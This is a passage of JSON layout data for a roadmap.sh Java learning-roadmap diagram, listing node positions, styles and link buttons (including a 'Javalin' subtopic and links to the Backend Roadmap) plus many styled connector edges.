\"height\": 85,\n      \"id\": \"xi0QAi4kXm3-IFKgopnOP\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 1359.8343015809069,\n        \"y\": 2016.2880407433463\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"RLtk1C3gofHnLJ17x3o5b\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 1359.8343015809069,\n        \"y\": 2016.2880407433463\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 85\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 85\n      }\n    },\n    {\n      \"width\": 378,\n      \"height\": 49,\n      \"id\": \"-sFboM4eFUMVq1tlPl-fV\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 1177.931647147896,\n        \"y\": 1952.012591461887\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Backend Roadmap\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"qXKNK_IsGS8-JgLK-Q9oU\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1177.931647147896,\n        \"y\": 1952.012591461887\n      },\n      \"style\": {\n        \"width\": 378,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 378,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"t7TlesNLK0sOM8Zv7t-MF\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 703.0073106597292,\n        \"y\": -98.12414200689119\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"This is Java specific roadmap and intentionally skips some backend topics.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 391,\n      \"height\": 150,\n      \"positionAbsolute\": {\n        \"x\": 703.0073106597292,\n        \"y\": -98.12414200689119\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 391,\n        \"height\": 150\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 391,\n        \"height\": 150\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 722.5073106597292,\n        \"y\": -12.157567200212156\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Visit Backend Roadmap\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#000000\",\n        \"backgroundColor\": \"#d1d1d1\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#D1D1D1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 352,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 352,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 722.5073106597292,\n        \"y\": -12.157567200212156\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 352,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kpF15oUmlUmk1qVGEBB7Y\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 1401.8167239283337,\n        \"y\": -93.80861630367417\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        },\n        \"oldId\": \"yHmHXymPNWwu8p1vvqD3o\"\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 1401.8167239283337,\n        \"y\": -93.80861630367417\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"if9eTna5NRTMStVwpSwDP\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 1414.3167239283337,\n        \"y\": -11.95049837897065\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 1414.3167239283337,\n        \"y\": -11.95049837897065\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OrkJa48HIDmrLOgCBpimA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1368.6499336025647,\n        \"y\": 1368.2594233874954\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Javalin\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kN-mXxqUPNJNsJGQ0U_7J\"\n      },\n      \"zIndex\": 999,\n      \"width\": 114,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 114,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1368.6499336025647,\n        \"y\": 1368.2594233874954\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 114,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"XX0I26JoVMVXIe_7bVMix\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"idLHBxhvcIqZTqmh_E8Az\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"dFn6kGOoJ-0BzJJEb9DSG\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"os3Pa6W9SSNEzgmlBbglQ\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"arkF7QJJRbCBYWp0crqa2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3oInpqvTSSC5_K6i7j8N7\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"HNVw8OboycWKLEtEbG2bn\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"YKhuRbcUFzo0hTvuTq-Yl\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"auB7Png72XjmhcLr3IJA7\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"2aoDIr80lXSJLW1hIGUkb\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"NMznG9mo2wzNFnjhg990f\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"m-_y7nLeYFkUKGiacxWA0\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"gc_7cuIO2_joKlQRAPDfX\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"G7pXuJfkyt2nWAOHU8yV0\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rrrvATyhXqRgJGWI3z0WF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"AvbMQ5vY3ip1oX_6Yq4ie\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"2_6Yz3-Agx9_rEN5xW86c\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"1AJv95mTLpR7L8KBoGym8\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"kgMI98fg2-mKMgUs0wnjD\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0etAs56EeBfh_0IlAaSra\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": true,\n      \"id\": \"ts38Q2ceHs60TJscUBZVE\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"h6ceO0kiBIxNRkPzN3hBY\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"ZiMV7umyPdhy3JJDcopR-\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"_JlT9oKQ6Yu4UX6l19G8P\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"WI-MhbxrehFcVwyGJ5CQJ\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"qUrLBzvXvJOg53HBfjrOI\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hp15XdmPlKKTbYnrYfCBl\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"2TGq1y2QthnxxN-FfToSe\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-hp15XdmPlKKTbYnrYfCBlx2-Rhk7BrJqNEXQT3LGlGLM6w1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"2TGq1y2QthnxxN-FfToSe\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"OlbQNB6YXZjO1J7D0lZU1\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Rhk7BrJqNEXQT3LGlGLM6y2-OlbQNB6YXZjO1J7D0lZU1z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"2TGq1y2QthnxxN-FfToSe\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"5g9mmi01WeZ4aDqNzwx_V\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Rhk7BrJqNEXQT3LGlGLM6y2-QgWalJLIb6Fw0HhN1wb02z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"2TGq1y2QthnxxN-FfToSe\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"VBNcAO0STaZJ1iV9A7utv\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Rhk7BrJqNEXQT3LGlGLM6y2-VBNcAO0STaZJ1iV9A7utvz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"2TGq1y2QthnxxN-FfToSe\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"yNDbk6r5wFqBi25xmIRF_\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Rhk7BrJqNEXQT3LGlGLM6y2-yNDbk6r5wFqBi25xmIRF_z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"2TGq1y2QthnxxN-FfToSe\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"5khApwg1FZ-0qorsLyH-F\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Rhk7BrJqNEXQT3LGlGLM6z2-5khApwg1FZ-0qorsLyH-Fy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"2TGq1y2QthnxxN-FfToSe\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"sG_3ZQIE1-FQXQkk-OduQ\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Rhk7BrJqNEXQT3LGlGLM6z2-sG_3ZQIE1-FQXQkk-OduQy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"2TGq1y2QthnxxN-FfToSe\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"JHUhVEjWFXTn6-wKcKevg\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Rhk7BrJqNEXQT3LGlGLM6z2-DZ4BX4NYeCQbjGSj56lngy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"2TGq1y2QthnxxN-FfToSe\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"KcIUQ5XpOI6WTA9wrqzn3\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Rhk7BrJqNEXQT3LGlGLM6z2-KcIUQ5XpOI6WTA9wrqzn3y2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"2TGq1y2QthnxxN-FfToSe\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ziD_XwzJSFQP_3iLjq9pA\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-2TGq1y2QthnxxN-FfToSez2-ziD_XwzJSFQP_3iLjq9pAy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"2TGq1y2QthnxxN-FfToSe\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"aEaBobzFWv0mJHGAbgxKY\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-2TGq1y2QthnxxN-FfToSez2-aEaBobzFWv0mJHGAbgxKYy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"2TGq1y2QthnxxN-FfToSe\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"QgWalJLIb6Fw0HhN1wb02\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-2TGq1y2QthnxxN-FfToSey2-QgWalJLIb6Fw0HhN1wb02z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Rhk7BrJqNEXQT3LGlGLM6\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"LenPrQwxFsE1UVbXO_dE7\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Rhk7BrJqNEXQT3LGlGLM6y2-LenPrQwxFsE1UVbXO_dE7w2\",\n      \"selected\": true,\n      \"type\": \"simplebezier\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"2TGq1y2QthnxxN-FfToSe\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"DZ4BX4NYeCQbjGSj56lng\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-2TGq1y2QthnxxN-FfToSez2-DZ4BX4NYeCQbjGSj56lngy1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"2TGq1y2QthnxxN-FfToSe\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"zNHDLv26Xn3oMrDVSAP1Z\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-2TGq1y2QthnxxN-FfToSex2-zNHDLv26Xn3oMrDVSAP1Zw2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"FyTlaUqrK5h3e5mWwkvVg\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"XUikvUeIXLl34LP6HFrAI\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-FyTlaUqrK5h3e5mWwkvVgx2-XUikvUeIXLl34LP6HFrAIw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kdxy8Zssnc5lJjdmjUyMc\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"8n5A3GTRV3WpEnCa4yGam\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-kdxy8Zssnc5lJjdmjUyMcy2-8n5A3GTRV3WpEnCa4yGamz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zNHDLv26Xn3oMrDVSAP1Z\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"FyTlaUqrK5h3e5mWwkvVg\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-zNHDLv26Xn3oMrDVSAP1Zx2-FyTlaUqrK5h3e5mWwkvVgw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zNHDLv26Xn3oMrDVSAP1Z\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"g9P3548F38tYGjevBc42w\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-zNHDLv26Xn3oMrDVSAP1Zz2-g9P3548F38tYGjevBc42ww1\",\n      \"selected\": true,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"g9P3548F38tYGjevBc42w\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"00_q6I95eO-PUUrKpPFY8\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-g9P3548F38tYGjevBc42wx2-00_q6I95eO-PUUrKpPFY8w1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"81N1cZLue_Ii0uD5CV6kZ\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"6FMj9tMAQPii_1kLtHJLk\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-81N1cZLue_Ii0uD5CV6kZw2-6FMj9tMAQPii_1kLtHJLkx2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zItXmuluDtl6HkTYQ7qMh\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"M0ybgK1JCycXhZ1dEpCFo\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-zItXmuluDtl6HkTYQ7qMhx2-M0ybgK1JCycXhZ1dEpCFow2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_W84u4UXMSY0zvy6RJvFi\",\n      \"sourceHandle\": \"w2\",\n      \"target\": 